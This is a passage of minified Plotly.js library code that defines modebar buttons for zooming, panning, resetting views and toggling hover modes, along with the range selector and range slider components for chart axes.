g(v,"Autoscale")},attr:"zoom",val:"auto",icon:L.autoscale,click:r},t.resetScale2d={name:"resetScale2d",_cat:"resetscale",title:function(v){return g(v,"Reset axes")},attr:"zoom",val:"reset",icon:L.home,click:r},t.hoverClosestCartesian={name:"hoverClosestCartesian",_cat:"hoverclosest",title:function(v){return g(v,"Show closest data on hover")},attr:"hovermode",val:"closest",icon:L.tooltip_basic,gravity:"ne",click:r},t.hoverCompareCartesian={name:"hoverCompareCartesian",_cat:"hoverCompare",title:function(v){return g(v,"Compare data on hover")},attr:"hovermode",val:function(v){return v._fullLayout._isHoriz?"y":"x"},icon:L.tooltip_compare,gravity:"ne",click:r};function r(v,T){var w=T.currentTarget,E=w.getAttribute("data-attr"),p=w.getAttribute("data-val")||!0,A=v._fullLayout,m={},n=o.list(v,null,!0),C=A._cartesianSpikesEnabled,x,I;if(E==="zoom"){var k=p==="in"?.5:2,B=(1+k)/2,_=(1-k)/2,F;for(I=0;I<n.length;I++)if(x=n[I],!x.fixedrange)if(F=x._name,p==="auto")m[F+".autorange"]=!0;else if(p==="reset"){if(x._rangeInitial===void 0)m[F+".autorange"]=!0;else{var O=x._rangeInitial.slice();m[F+".range[0]"]=O[0],m[F+".range[1]"]=O[1]}x._showSpikeInitial!==void 0&&(m[F+".showspikes"]=x._showSpikeInitial,C==="on"&&!x._showSpikeInitial&&(C="off"))}else{var z=[x.r2l(x.range[0]),x.r2l(x.range[1])],N=[B*z[0]+_*z[1],B*z[1]+_*z[0]];m[F+".range[0]"]=x.l2r(N[0]),m[F+".range[1]"]=x.l2r(N[1])}}else E==="hovermode"&&(p==="x"||p==="y")&&(p=A._isHoriz?"y":"x",w.setAttribute("data-val",p)),m[E]=p;A._cartesianSpikesEnabled=C,M.call("_guiRelayout",v,m)}t.zoom3d={name:"zoom3d",_cat:"zoom",title:function(v){return g(v,"Zoom")},attr:"scene.dragmode",val:"zoom",icon:L.zoombox,click:f},t.pan3d={name:"pan3d",_cat:"pan",title:function(v){return g(v,"Pan")},attr:"scene.dragmode",val:"pan",icon:L.pan,click:f},t.orbitRotation={name:"orbitRotation",title:function(v){return g(v,"Orbital rotation")},attr:"scene.dragmode",val:"orbit",icon:L["3d_rotate"],click:f},t.tableRotation={name:"tableRotation",title:function(v){return g(v,"Turntable rotation")},attr:"scene.dragmode",val:"turntable",icon:L["z-axis"],click:f};function f(v,T){for(var w=T.currentTarget,E=w.getAttribute("data-attr"),p=w.getAttribute("data-val")||!0,A=v._fullLayout._subplots.gl3d||[],m={},n=E.split("."),C=0;C<A.length;C++)m[A[C]+"."+n[1]]=p;var x=p==="pan"?p:"zoom";m.dragmode=x,M.call("_guiRelayout",v,m)}t.resetCameraDefault3d={name:"resetCameraDefault3d",_cat:"resetCameraDefault",title:function(v){return g(v,"Reset camera to default")},attr:"resetDefault",icon:L.home,click:a},t.resetCameraLastSave3d={name:"resetCameraLastSave3d",_cat:"resetCameraLastSave",title:function(v){return g(v,"Reset camera to last save")},attr:"resetLastSave",icon:L.movie,click:a};function a(v,T){for(var w=T.currentTarget,E=w.getAttribute("data-attr"),p=E==="resetLastSave",A=E==="resetDefault",m=v._fullLayout,n=m._subplots.gl3d||[],C={},x=0;x<n.length;x++){var I=n[x],k=I+".camera",B=I+".aspectratio",_=I+".aspectmode",F=m[I]._scene,O;p?(C[k+".up"]=F.viewInitial.up,C[k+".eye"]=F.viewInitial.eye,C[k+".center"]=F.viewInitial.center,O=!0):A&&(C[k+".up"]=null,C[k+".eye"]=null,C[k+".center"]=null,O=!0),O&&(C[B+".x"]=F.viewInitial.aspectratio.x,C[B+".y"]=F.viewInitial.aspectratio.y,C[B+".z"]=F.viewInitial.aspectratio.z,C[_]=F.viewInitial.aspectmode)}M.call("_guiRelayout",v,C)}t.hoverClosest3d={name:"hoverClosest3d",_cat:"hoverclosest",title:function(v){return g(v,"Toggle show closest data on hover")},attr:"hovermode",val:null,toggle:!0,icon:L.tooltip_basic,gravity:"ne",click:u};function l(v,T){var w=T.currentTarget,E=w._previousVal,p=v._fullLayout,A=p._subplots.gl3d||[],m=["xaxis","yaxis","zaxis"],n={},C={};if(E)C=E,w._previousVal=null;else{for(var x=0;x<A.length;x++){var I=A[x],k=p[I],B=I+".hovermode";n[B]=k.hovermode,C[B]=!1;for(var _=0;_<3;_++){var F=m[_],O=I+"."+F+".showspikes";C[O]=!1,n[O]=k[F].showspikes}}w._previousVal=n}return C}function u(v,T){var w=l(v,T);M.call("_guiRelayout",v,w)}t.zoomInGeo={name:"zoomInGeo",_cat:"zoomin",title:function(v){return g(v,"Zoom in")},attr:"zoom",val:"in",icon:L.zoom_plus,click:s},t.zoomOutGeo={name:"zoomOutGeo",_cat:"zoomout",title:function(v){return g(v,"Zoom out")},attr:"zoom",val:"out",icon:L.zoom_minus,click:s},t.resetGeo={name:"resetGeo",_cat:"reset",title:function(v){return g(v,"Reset")},attr:"reset",val:null,icon:L.autoscale,click:s},t.hoverClosestGeo={name:"hoverClosestGeo",_cat:"hoverclosest",title:function(v){return g(v,"Toggle show closest data on hover")},attr:"hovermode",val:null,toggle:!0,icon:L.tooltip_basic,gravity:"ne",click:c};function s(v,T){for(var w=T.currentTarget,E=w.getAttribute("data-attr"),p=w.getAttribute("data-val")||!0,A=v._fullLayout,m=A._subplots.geo||[],n=0;n<m.length;n++){var C=m[n],x=A[C];if(E==="zoom"){var I=x.projection.scale,k=p==="in"?2*I:.5*I;M.call("_guiRelayout",v,C+".projection.scale",k)}}E==="reset"&&i(v,"geo")}t.hoverClosestGl2d={name:"hoverClosestGl2d",_cat:"hoverclosest",title:function(v){return g(v,"Toggle show closest data on hover")},attr:"hovermode",val:null,toggle:!0,icon:L.tooltip_basic,gravity:"ne",click:c},t.hoverClosestPie={name:"hoverClosestPie",_cat:"hoverclosest",title:function(v){return g(v,"Toggle show closest data on hover")},attr:"hovermode",val:"closest",icon:L.tooltip_basic,gravity:"ne",click:c};function y(v){var T=v._fullLayout;return T.hovermode?!1:T._has("cartesian")?T._isHoriz?"y":"x":"closest"}function c(v){var T=y(v);M.call("_guiRelayout",v,"hovermode",T)}t.resetViewSankey={name:"resetSankeyGroup",title:function(v){return g(v,"Reset view")},icon:L.home,click:function(v){for(var T={"node.groups":[],"node.x":[],"node.y":[]},w=0;w<v._fullData.length;w++){var E=v._fullData[w]._viewInitial;T["node.groups"].push(E.node.groups.slice()),T["node.x"].push(E.node.x.slice()),T["node.y"].push(E.node.y.slice())}M.call("restyle",v,T)}},t.toggleHover={name:"toggleHover",title:function(v){return g(v,"Toggle show closest data on hover")},attr:"hovermode",val:null,toggle:!0,icon:L.tooltip_basic,gravity:"ne",click:function(v,T){var w=l(v,T);w.hovermode=y(v),M.call("_guiRelayout",v,w)}},t.resetViews={name:"resetViews",title:function(v){return g(v,"Reset views")},icon:L.home,click:function(v,T){var w=T.currentTarget;w.setAttribute("data-attr","zoom"),w.setAttribute("data-val","reset"),r(v,T),w.setAttribute("data-attr","resetLastSave"),a(v,T),i(v,"geo"),i(v,"mapbox")}},t.toggleSpikelines={name:"toggleSpikelines",title:function(v){return g(v,"Toggle Spike Lines")},icon:L.spikeline,attr:"_cartesianSpikesEnabled",val:"on",click:function(v){var T=v._fullLayout,w=T._cartesianSpikesEnabled;T._cartesianSpikesEnabled=w==="on"?"off":"on",M.call("_guiRelayout",v,b(v))}};function b(v){for(var T=v._fullLayout,w=T._cartesianSpikesEnabled==="on",E=o.list(v,null,!0),p={},A=0;A<E.length;A++){var m=E[A];p[m._name+".showspikes"]=w?!0:m._showSpikeInitial}return p}t.resetViewMapbox={name:"resetViewMapbox",_cat:"resetView",title:function(v){return g(v,"Reset view")},attr:"reset",icon:L.home,click:function(v){i(v,"mapbox")}},t.zoomInMapbox={name:"zoomInMapbox",_cat:"zoomin",title:function(v){return g(v,"Zoom in")},attr:"zoom",val:"in",icon:L.zoom_plus,click:h},t.zoomOutMapbox={name:"zoomOutMapbox",_cat:"zoomout",title:function(v){return g(v,"Zoom out")},attr:"zoom",val:"out",icon:L.zoom_minus,click:h};function h(v,T){for(var w=T.currentTarget,E=w.getAttribute("data-val"),p=v._fullLayout,A=p._subplots.mapbox||[],m=1.05,n={},C=0;C<A.length;C++){var x=A[C],I=p[x].zoom,k=E==="in"?m*I:I/m;n[x+".zoom"]=k}M.call("_guiRelayout",v,n)}function i(v,T){for(var w=v._fullLayout,E=w._subplots[T]||[],p={},A=0;A<E.length;A++)for(var m=E[A],n=w[m]._subplot,C=n.viewInitial,x=Object.keys(C),I=0;I<x.length;I++){var k=x[I];p[m+"."+k]=C[k]}M.call("_guiRelayout",v,p)}},93348:function(te,Z,e){var M=e(26023),P=Object.keys(M),o=["drawline","drawopenpath","drawclosedpath","drawcircle","drawrect","eraseshape"],L=["v1hovermode","hoverclosest","hovercompare","togglehover","togglespikelines"].concat(o),S=[],d=function(g){if(L.indexOf(g._cat||g.name)===-1){var t=g.name,r=(g._cat||g.name).toLowerCase();S.indexOf(t)===-1&&S.push(t),S.indexOf(r)===-1&&S.push(r)}};P.forEach(function(g){d(M[g])}),S.sort(),te.exports={DRAW_MODES:o,backButtons:L,foreButtons:S}},35750:function(te,Z,e){var M=e(71828),P=e(7901),o=e(44467),L=e(42068);te.exports=function(d,g){var t=d.modebar||{},r=o.newContainer(g,"modebar");function f(l,u){return M.coerce(t,r,L,l,u)}f("orientation"),f("bgcolor",P.addOpacity(g.paper_bgcolor,.5));var a=P.contrast(P.rgb(g.modebar.bgcolor));f("color",P.addOpacity(a,.3)),f("activecolor",P.addOpacity(a,.7)),f("uirevision",g.uirevision),f("add"),f("remove")}},64168:function(te,Z,e){te.exports={moduleType:"component",name:"modebar",layoutAttributes:e(42068),supplyLayoutDefaults:e(35750),manage:e(14192)}},14192:function(te,Z,e){var M=e(41675),P=e(34098),o=e(73972),L=e(23469).isUnifiedHover,S=e(37676),d=e(26023),g=e(93348).DRAW_MODES,t=e(71828).extendDeep;te.exports=function(c){var b=c._fullLayout,h=c._context,i=b._modeBar;if(!h.displayModeBar&&!h.watermark){i&&(i.destroy(),delete b._modeBar);return}if(!Array.isArray(h.modeBarButtonsToRemove))throw new Error(["*modeBarButtonsToRemove* configuration options","must be an array."].join(" "));if(!Array.isArray(h.modeBarButtonsToAdd))throw new Error(["*modeBarButtonsToAdd* configuration options","must be an array."].join(" "));var v=h.modeBarButtons,T;Array.isArray(v)&&v.length?T=s(v):!h.displayModeBar&&h.watermark?T=[]:T=r(c),i?i.update(c,T):b._modeBar=S(c,T)};function r(y){var c=y._fullLayout,b=y._fullData,h=y._context;function i(j,K){if(typeof K=="string"){if(K.toLowerCase()===j.toLowerCase())return!0}else{var oe=K.name,re=K._cat||K.name;if(oe===j||re===j.toLowerCase())return!0}return!1}var v=c.modebar.add;typeof v=="string"&&(v=[v]);var T=c.modebar.remove;typeof T=="string"&&(T=[T]);var w=h.modeBarButtonsToAdd.concat(v.filter(function(j){for(var K=0;K<h.modeBarButtonsToRemove.length;K++)if(i(j,h.modeBarButtonsToRemove[K]))return!1;return!0})),E=h.modeBarButtonsToRemove.concat(T.filter(function(j){for(var K=0;K<h.modeBarButtonsToAdd.length;K++)if(i(j,h.modeBarButtonsToAdd[K]))return!1;return!0})),p=c._has("cartesian"),A=c._has("gl3d"),m=c._has("geo"),n=c._has("pie"),C=c._has("funnelarea"),x=c._has("gl2d"),I=c._has("ternary"),k=c._has("mapbox"),B=c._has("polar"),_=c._has("smith"),F=c._has("sankey"),O=f(c),z=L(c.hovermode),N=[];function G(j){if(j.length){for(var K=[],oe=0;oe<j.length;oe++){for(var re=j[oe],le=d[re],pe=le.name.toLowerCase(),we=(le._cat||le.name).toLowerCase(),xe=!1,ke=0;ke<E.length;ke++){var _e=E[ke].toLowerCase();if(_e===pe||_e===we){xe=!0;break}}xe||K.push(d[re])}N.push(K)}}var J=["toImage"];h.showEditInChartStudio?J.push("editInChartStudio"):h.showSendToCloud&&J.push("sendDataToCloud"),G(J);var q=[],ne=[],fe=[],X=[];(p||x||n||C||I)+m+A+k+B+_>1?(ne=["toggleHover"],fe=["resetViews"]):m?(q=["zoomInGeo","zoomOutGeo"],ne=["hoverClosestGeo"],fe=["resetGeo"]):A?(ne=["hoverClosest3d"],fe=["resetCameraDefault3d","resetCameraLastSave3d"]):k?(q=["zoomInMapbox","zoomOutMapbox"],ne=["toggleHover"],fe=["resetViewMapbox"]):x?ne=["hoverClosestGl2d"]:n?ne=["hoverClosestPie"]:F?(ne=["hoverClosestCartesian","hoverCompareCartesian"],fe=["resetViewSankey"]):ne=["toggleHover"],p&&(ne=["toggleSpikelines","hoverClosestCartesian","hoverCompareCartesian"]),(l(b)||z)&&(ne=[]),(p||x)&&!O&&(q=["zoomIn2d","zoomOut2d","autoScale2d"],fe[0]!=="resetViews"&&(fe=["resetScale2d"])),A?X=["zoom3d","pan3d","orbitRotation","tableRotation"]:(p||x)&&!O||I?X=["zoom2d","pan2d"]:k||m?X=["pan2d"]:B&&(X=["zoom2d"]),a(b)&&X.push("select2d","lasso2d");var W=[],V=function(j){W.indexOf(j)===-1&&ne.indexOf(j)!==-1&&W.push(j)};if(Array.isArray(w)){for(var Y=[],Q=0;Q<w.length;Q++){var ie=w[Q];typeof ie=="string"?(ie=ie.toLowerCase(),g.indexOf(ie)!==-1?(c._has("mapbox")||c._has("cartesian"))&&X.push(ie):ie==="togglespikelines"?V("toggleSpikelines"):ie==="togglehover"?V("toggleHover"):ie==="hovercompare"?V("hoverCompareCartesian"):ie==="hoverclosest"?(V("hoverClosestCartesian"),V("hoverClosestGeo"),V("hoverClosest3d"),V("hoverClosestGl2d"),V("hoverClosestPie")):ie==="v1hovermode"&&(V("toggleHover"),V("hoverClosestCartesian"),V("hoverCompareCartesian"),V("hoverClosestGeo"),V("hoverClosest3d"),V("hoverClosestGl2d"),V("hoverClosestPie"))):Y.push(ie)}w=Y}return G(X),G(q.concat(fe)),G(W),u(N,w)}function f(y){for(var c=M.list({_fullLayout:y},null,!0),b=0;b<c.length;b++)if(!c[b].fixedrange)return!1;return!0}function a(y){for(var c=!1,b=0;b<y.length&&!c;b++){var h=y[b];!h._module||!h._module.selectPoints||(o.traceIs(h,"scatter-like")?(P.hasMarkers(h)||P.hasText(h))&&(c=!0):o.traceIs(h,"box-violin")?(h.boxpoints==="all"||h.points==="all")&&(c=!0):c=!0)}return c}function l(y){for(var c=0;c<y.length;c++)if(!o.traceIs(y[c],"noHover"))return!1;return!0}function u(y,c){if(c.length)if(Array.isArray(c[0]))for(var b=0;b<c.length;b++)y.push(c[b]);else y.push(c);return y}function s(y){for(var c=t([],y),b=0;b<c.length;b++)for(var h=c[b],i=0;i<h.length;i++){var v=h[i];if(typeof v=="string")if(d[v]!==void 0)c[b][i]=d[v];else throw new Error(["*modeBarButtons* configuration options","invalid button name"].join(" "))}return c}},37676:function(te,Z,e){var M=e(39898),P=e(92770),o=e(71828),L=e(24255),S=e(11506).version,d=new DOMParser;function g(a){this.container=a.container,this.element=document.createElement("div"),this.update(a.graphInfo,a.buttons),this.container.appendChild(this.element)}var t=g.prototype;t.update=function(a,l){this.graphInfo=a;var u=this.graphInfo._context,s=this.graphInfo._fullLayout,y="modebar-"+s._uid;this.element.setAttribute("id",y),this._uid=y,this.element.className="modebar",u.displayModeBar==="hover"&&(this.element.className+=" modebar--hover ease-bg"),s.modebar.orientation==="v"&&(this.element.className+=" vertical",l=l.reverse());var c=s.modebar,b=u.displayModeBar==="hover"?".js-plotly-plot .plotly:hover ":"";o.deleteRelatedStyleRule(y),o.addRelatedStyleRule(y,b+"#"+y+" .modebar-group","background-color: "+c.bgcolor),o.addRelatedStyleRule(y,"#"+y+" .modebar-btn .icon path","fill: "+c.color),o.addRelatedStyleRule(y,"#"+y+" .modebar-btn:hover .icon path","fill: "+c.activecolor),o.addRelatedStyleRule(y,"#"+y+" .modebar-btn.active .icon path","fill: "+c.activecolor);var h=!this.hasButtons(l),i=this.hasLogo!==u.displaylogo,v=this.locale!==u.locale;if(this.locale=u.locale,(h||i||v)&&(this.removeAllButtons(),this.updateButtons(l),u.watermark||u.displaylogo)){var T=this.getLogo();u.watermark&&(T.className=T.className+" watermark"),s.modebar.orientation==="v"?this.element.insertBefore(T,this.element.childNodes[0]):this.element.appendChild(T),this.hasLogo=!0}this.updateActiveButton()},t.updateButtons=function(a){var l=this;this.buttons=a,this.buttonElements=[],this.buttonsNames=[],this.buttons.forEach(function(u){var s=l.createGroup();u.forEach(function(y){var c=y.name;if(!c)throw new Error("must provide button 'name' in button config");if(l.buttonsNames.indexOf(c)!==-1)throw new Error("button name '"+c+"' is taken");l.buttonsNames.push(c);var b=l.createButton(y);l.buttonElements.push(b),s.appendChild(b)}),l.element.appendChild(s)})},t.createGroup=function(){var a=document.createElement("div");return a.className="modebar-group",a},t.createButton=function(a){var l=this,u=document.createElement("a");u.setAttribute("rel","tooltip"),u.className="modebar-btn";var s=a.title;s===void 0?s=a.name:typeof s=="function"&&(s=s(this.graphInfo)),(s||s===0)&&u.setAttribute("data-title",s),a.attr!==void 0&&u.setAttribute("data-attr",a.attr);var y=a.val;y!==void 0&&(typeof y=="function"&&(y=y(this.graphInfo)),u.setAttribute("data-val",y));var c=a.click;if(typeof c!="function")throw new Error("must provide button 'click' function in button config");u.addEventListener("click",function(h){a.click(l.graphInfo,h),l.updateActiveButton(h.currentTarget)}),u.setAttribute("data-toggle",a.toggle||!1),a.toggle&&M.select(u).classed("active",!0);var b=a.icon;return typeof b=="function"?u.appendChild(b()):u.appendChild(this.createIcon(b||L.question)),u.setAttribute("data-gravity",a.gravity||"n"),u},t.createIcon=function(a){var l=P(a.height)?Number(a.height):a.ascent-a.descent,u="http://www.w3.org/2000/svg",s;if(a.path){s=document.createElementNS(u,"svg"),s.setAttribute("viewBox",[0,0,a.width,l].join(" ")),s.setAttribute("class","icon");var y=document.createElementNS(u,"path");y.setAttribute("d",a.path),a.transform?y.setAttribute("transform",a.transform):a.ascent!==void 0&&y.setAttribute("transform","matrix(1 0 0 -1 0 "+a.ascent+")"),s.appendChild(y)}if(a.svg){var c=d.parseFromString(a.svg,"application/xml");s=c.childNodes[0]}return s.setAttribute("height","1em"),s.setAttribute("width","1em"),s},t.updateActiveButton=function(a){var l=this.graphInfo._fullLayout,u=a!==void 0?a.getAttribute("data-attr"):null;this.buttonElements.forEach(function(s){var y=s.getAttribute("data-val")||!0,c=s.getAttribute("data-attr"),b=s.getAttribute("data-toggle")==="true",h=M.select(s);if(b)c===u&&h.classed("active",!h.classed("active"));else{var i=c===null?c:o.nestedProperty(l,c).get();h.classed("active",i===y)}})},t.hasButtons=function(a){var l=this.buttons;if(!l||a.length!==l.length)return!1;for(var u=0;u<a.length;++u){if(a[u].length!==l[u].length)return!1;for(var s=0;s<a[u].length;s++)if(a[u][s].name!==l[u][s].name)return!1}return!0};function r(a){return a+" (v"+S+")"}t.getLogo=function(){var a=this.createGroup(),l=document.createElement("a");return l.href="https://plotly.com/",l.target="_blank",l.setAttribute("data-title",r(o._(this.graphInfo,"Produced with Plotly.js"))),l.className="modebar-btn plotlyjsicon modebar-btn--logo",l.appendChild(this.createIcon(L.newplotlylogo)),a.appendChild(l),a},t.removeAllButtons=function(){for(;this.element.firstChild;)this.element.removeChild(this.element.firstChild);this.hasLogo=!1},t.destroy=function(){o.removeElement(this.container.querySelector(".modebar")),o.deleteRelatedStyleRule(this._uid)};function f(a,l){var u=a._fullLayout,s=new g({graphInfo:a,container:u._modebardiv.node(),buttons:l});return u._privateplot&&M.select(s.element).append("span").classed("badge-private float--left",!0).text("PRIVATE"),s}te.exports=f},37113:function(te,Z,e){var M=e(41940),P=e(22399),o=e(44467).templatedArray,L=o("button",{visible:{valType:"boolean",dflt:!0,editType:"plot"},step:{valType:"enumerated",values:["month","year","day","hour","minute","second","all"],dflt:"month",editType:"plot"},stepmode:{valType:"enumerated",values:["backward","todate"],dflt:"backward",editType:"plot"},count:{valType:"number",min:0,dflt:1,editType:"plot"},label:{valType:"string",editType:"plot"},editType:"plot"});te.exports={visible:{valType:"boolean",editType:"plot"},buttons:L,x:{valType:"number",min:-2,max:3,editType:"plot"},xanchor:{valType:"enumerated",values:["auto","left","center","right"],dflt:"left",editType:"plot"},y:{valType:"number",min:-2,max:3,editType:"plot"},yanchor:{valType:"enumerated",values:["auto","top","middle","bottom"],dflt:"bottom",editType:"plot"},font:M({editType:"plot"}),bgcolor:{valType:"color",dflt:P.lightLine,editType:"plot"},activecolor:{valType:"color",editType:"plot"},bordercolor:{valType:"color",dflt:P.defaultLine,editType:"plot"},borderwidth:{valType:"number",min:0,dflt:0,editType:"plot"},editType:"plot"}},89573:function(te){te.exports={yPad:.02,minButtonWidth:30,rx:3,ry:3,lightAmount:25,darkAmount:10}},28674:function(te,Z,e){var M=e(71828),P=e(7901),o=e(44467),L=e(85501),S=e(37113),d=e(89573);te.exports=function(f,a,l,u,s){var y=f.rangeselector||{},c=o.newContainer(a,"rangeselector");function b(w,E){return M.coerce(y,c,S,w,E)}var h=L(y,c,{name:"buttons",handleItemDefaults:g,calendar:s}),i=b("visible",h.length>0);if(i){var v=t(a,l,u);b("x",v[0]),b("y",v[1]),M.noneOrAll(f,a,["x","y"]),b("xanchor"),b("yanchor"),M.coerceFont(b,"font",l.font);var T=b("bgcolor");b("activecolor",P.contrast(T,d.lightAmount,d.darkAmount)),b("bordercolor"),b("borderwidth")}};function g(r,f,a,l){var u=l.calendar;function s(b,h){return M.coerce(r,f,S.buttons,b,h)}var y=s("visible");if(y){var c=s("step");c!=="all"&&(u&&u!=="gregorian"&&(c==="month"||c==="year")?f.stepmode="backward":s("stepmode"),s("count")),s("label")}}function t(r,f,a){for(var l=a.filter(function(c){return f[c].anchor===r._id}),u=0,s=0;s<l.length;s++){var y=f[l[s]].domain;y&&(u=Math.max(y[1],u))}return[r.domain[0],u+d.yPad]}},21598:function(te,Z,e){var M=e(39898),P=e(73972),o=e(74875),L=e(7901),S=e(91424),d=e(71828),g=d.strTranslate,t=e(63893),r=e(41675),f=e(18783),a=f.LINE_SPACING,l=f.FROM_TL,u=f.FROM_BR,s=e(89573),y=e(70565);te.exports=function(A){var m=A._fullLayout,n=m._infolayer.selectAll(".rangeselector").data(c(A),b);n.enter().append("g").classed("rangeselector",!0),n.exit().remove(),n.style({cursor:"pointer","pointer-events":"all"}),n.each(function(C){var x=M.select(this),I=C,k=I.rangeselector,B=x.selectAll("g.button").data(d.filterVisible(k.buttons));B.enter().append("g").classed("button",!0),B.exit().remove(),B.each(function(_){var F=M.select(this),O=y(I,_);_._isActive=h(I,_,O),F.call(i,k,_),F.call(T,k,_,A),F.on("click",function(){A._dragged||P.call("_guiRelayout",A,O)}),F.on("mouseover",function(){_._isHovered=!0,F.call(i,k,_)}),F.on("mouseout",function(){_._isHovered=!1,F.call(i,k,_)})}),E(A,B,k,I._name,x)})};function c(p){for(var A=r.list(p,"x",!0),m=[],n=0;n<A.length;n++){var C=A[n];C.rangeselector&&C.rangeselector.visible&&m.push(C)}return m}function b(p){return p._id}function h(p,A,m){if(A.step==="all")return p.autorange===!0;var n=Object.keys(m);return p.range[0]===m[n[0]]&&p.range[1]===m[n[1]]}function i(p,A,m){var n=d.ensureSingle(p,"rect","selector-rect",function(C){C.attr("shape-rendering","crispEdges")});n.attr({rx:s.rx,ry:s.ry}),n.call(L.stroke,A.bordercolor).call(L.fill,v(A,m)).style("stroke-width",A.borderwidth+"px")}function v(p,A){return A._isActive||A._isHovered?p.activecolor:p.bgcolor}function T(p,A,m,n){function C(I){t.convertToTspans(I,n)}var x=d.ensureSingle(p,"text","selector-text",function(I){I.attr("text-anchor","middle")});x.call(S.font,A.font).text(w(m,n._fullLayout._meta)).call(C)}function w(p,A){return p.label?A?d.templateString(p.label,A):p.label:p.step==="all"?"all":p.count+p.step.charAt(0)}function E(p,A,m,n,C){var x=0,I=0,k=m.borderwidth;A.each(function(){var N=M.select(this),G=N.select(".selector-text"),J=m.font.size*a,q=Math.max(J*t.lineCount(G),16)+3;I=Math.max(I,q)}),A.each(function(){var N=M.select(this),G=N.select(".selector-rect"),J=N.select(".selector-text"),q=J.node()&&S.bBox(J.node()).width,ne=m.font.size*a,fe=t.lineCount(J),X=Math.max(q+10,s.minButtonWidth);N.attr("transform",g(k+x,k)),G.attr({x:0,y:0,width:X,height:I}),t.positionText(J,X/2,I/2-(fe-1)*ne/2+3),x+=X+5});var B=p._fullLayout._size,_=B.l+B.w*m.x,F=B.t+B.h*(1-m.y),O="left";d.isRightAnchor(m)&&(_-=x,O="right"),d.isCenterAnchor(m)&&(_-=x/2,O="center");var z="top";d.isBottomAnchor(m)&&(F-=I,z="bottom"),d.isMiddleAnchor(m)&&(F-=I/2,z="middle"),x=Math.ceil(x),I=Math.ceil(I),_=Math.round(_),F=Math.round(F),o.autoMargin(p,n+"-range-selector",{x:m.x,y:m.y,l:x*l[O],r:x*u[O],b:I*u[z],t:I*l[z]}),C.attr("transform",g(_,F))}},70565:function(te,Z,e){var M=e(81041),P=e(71828).titleCase;te.exports=function(S,d){var g=S._name,t={};if(d.step==="all")t[g+".autorange"]=!0;else{var r=o(S,d);t[g+".range[0]"]=r[0],t[g+".range[1]"]=r[1]}return t};function o(L,S){var d=L.range,g=new Date(L.r2l(d[1])),t=S.step,r=M["utc"+P(t)],f=S.count,a;switch(S.stepmode){case"backward":a=L.l2r(+r.offset(g,-f));break;case"todate":var l=r.offset(g,-f);a=L.l2r(+r.ceil(l));break}var u=d[1];return[a,u]}},97218:function(te,Z,e){te.exports={moduleType:"component",name:"rangeselector",schema:{subplots:{xaxis:{rangeselector:e(37113)}}},layoutAttributes:e(37113),handleDefaults:e(28674),draw:e(21598)}},75148:function(te,Z,e){var M=e(22399);te.exports={bgcolor:{valType:"color",dflt:M.background,editType:"plot"},bordercolor:{valType:"color",dflt:M.defaultLine,editType:"plot"},borderwidth:{valType:"integer",dflt:0,min:0,editType:"plot"},autorange:{valType:"boolean",dflt:!0,editType:"calc",impliedEdits:{"range[0]":void 0,"range[1]":void 0}},range:{valType:"info_array",items:[{valType:"any",editType:"calc",impliedEdits:{"^autorange":!1}},{valType:"any",editType:"calc",impliedEdits:{"^autorange":!1}}],editType:"calc",impliedEdits:{autorange:!1}},thickness:{valType:"number",dflt:.15,min:0,max:1,editType:"plot"},visible:{valType:"boolean",dflt:!0,editType:"calc"},editType:"calc"}},88443:function(te,Z,e){var M=e(41675).list,P=e(71739).getAutoRange,o=e(73251);te.exports=function(S){for(var d=M(S,"x",!0),g=0;g<d.length;g++){var t=d[g],r=t[o.name];r&&r.visible&&r.autorange&&(r._input.autorange=!0,r._input.range=r.range=P(S,t))}}},73251:function(te){te.exports={name:"rangeslider",containerClassName:"rangeslider-container",bgClassName:"rangeslider-bg",rangePlotClassName:"rangeslider-rangeplot",maskMinClassName:"rangeslider-mask-min",maskMaxClassName:"rangeslider-mask-max",slideBoxClassName:"rangeslider-slidebox",grabberMinClassName:"rangeslider-grabber-min",grabAreaMinClassName:"rangeslider-grabarea-min",handleMinClassName:"rangeslider-handle-min",grabberMaxClassName:"rangeslider-grabber-max",grabAreaMaxClassName:"rangeslider-grabarea-max",handleMaxClassName:"rangeslider-handle-max",maskMinOppAxisClassName:"rangeslider-mask-min-opp-axis",maskMaxOppAxisClassName:"rangeslider-mask-max-opp-axis",maskColor:"rgba(0,0,0,0.4)",maskOppAxisColor:"rgba(0,0,0,0.2)",slideBoxFill:"transparent",slideBoxCursor:"ew-resize",grabAreaFill:"transparent",grabAreaCursor:"col-resize",grabAreaWidth:10,handleWidth:4,handleRadius:1,handleStrokeWidth:1,extraPad:15}},26377:function(te,Z,e){var M=e(71828),P=e(44467),o=e(41675),L=e(75148),S=e(47850);te.exports=function(g,t,r){var f=g[r],a=t[r];if(!(f.rangeslider||t._requestRangeslider[a._id]))return;M.isPlainObject(f.rangeslider)||(f.rangeslider={});var l=f.rangeslider,u=P.newContainer(a,"rangeslider");function s(n,C){return M.coerce(l,u,L,n,C)}var y,c;function b(n,C){return M.coerce(y,c,S,n,C)}var h=s("visible");if(h){s("bgcolor",t.plot_bgcolor),s("bordercolor"),s("borderwidth"),s("thickness"),s("autorange",!a.isValidRange(l.range)),s("range");var i=t._subplots;if(i)for(var v=i.cartesian.filter(function(n){return n.substr(0,n.indexOf("y"))===o.name2id(r)}).map(function(n){return n.substr(n.indexOf("y"),n.length)}),T=M.simpleMap(v,o.id2name),w=0;w<T.length;w++){var E=T[w];y=l[E]||{},c=P.newContainer(u,E,"yaxis");var p=t[E],A;y.range&&p.isValidRange(y.range)&&(A="fixed");var m=b("rangemode",A);m!=="match"&&b("range",p.range.slice())}u._input=l}}},72413:function(te,Z,e){var M=e(39898),P=e(73972),o=e(74875),L=e(71828),S=L.strTranslate,d=e(91424),g=e(7901),t=e(92998),r=e(93612),f=e(41675),a=e(28569),l=e(6964),u=e(73251);te.exports=function(p){for(var A=p._fullLayout,m=A._rangeSliderData,n=0;n<m.length;n++){var C=m[n][u.name];C._clipId=C._id+"-"+A._uid}function x(k){return k._name}var I=A._infolayer.selectAll("g."+u.containerClassName).data(m,x);I.exit().each(function(k){var B=k[u.name];A._topdefs.select("#"+B._clipId).remove()}).remove(),m.length!==0&&(I.enter().append("g").classed(u.containerClassName,!0).attr("pointer-events","all"),I.each(function(k){var B=M.select(this),_=k[u.name],F=A[f.id2name(k.anchor)],O=_[f.id2name(k.anchor)];if(_.range){var 